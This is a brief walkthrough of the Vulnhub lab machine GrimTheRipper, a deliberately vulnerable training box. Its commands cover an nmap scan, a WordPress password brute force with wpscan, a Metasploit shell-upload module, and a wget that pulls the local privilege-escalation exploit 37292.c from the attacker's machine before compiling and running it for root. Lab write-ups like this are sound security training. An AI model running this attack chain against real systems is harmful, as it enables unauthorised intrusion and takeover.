Vulnhub – GrimTheRipper Walkthrough

We scan the box with nmap –A –T4 –p- 192.168.1.8 –vv

We use dirb http://192.168.1.8 /usr/share/dirb/wordlists/big.xt

When viewing the source on the path http://192.168.1.8/index2 we get this:

THpFd01UQXhNREU9IHRyeSBoYXJk when decoding it as base64 we get:

LzEwMTAxMDE= try hard then decoding LzEwMTAxMDE again gave use :

/1010101 a new path, when viewing it it’s a WordPress path:

Running wpscan to enumerate the usernames found the username admin, so we can try to brute force it :

Wpscan –url http://192.168.1.8/1010101/wordpress -U admin -P /root/pass/rockyou.txt –v

We got the password Password@123 , but when trying to login we get directed to http://127.0.0.1/1010101/wordpress/wp-login.php, so wo going to try Metasploit:

use exploit/unix/webapp/wp_admin_shell_upload

set TARGETURI /1010101/wordpress

set rhosts 192.168.1.8

set password Password@123

set username admin

A simple cat /etc/issue gave us Ubuntu 12.04.5 LTS, and using searchsploit we get:

Exploit 37292.c

The we transfer the exploit to the target machine using python –m SimpleHTTPServer 80, and on the target machine in the /tmp folder we do wget http://192.168.1.11/ 37292.c

We compile it using gcc –o script 37292.c and then we run it ./script and we got ROOT and that’s it no flag to capture.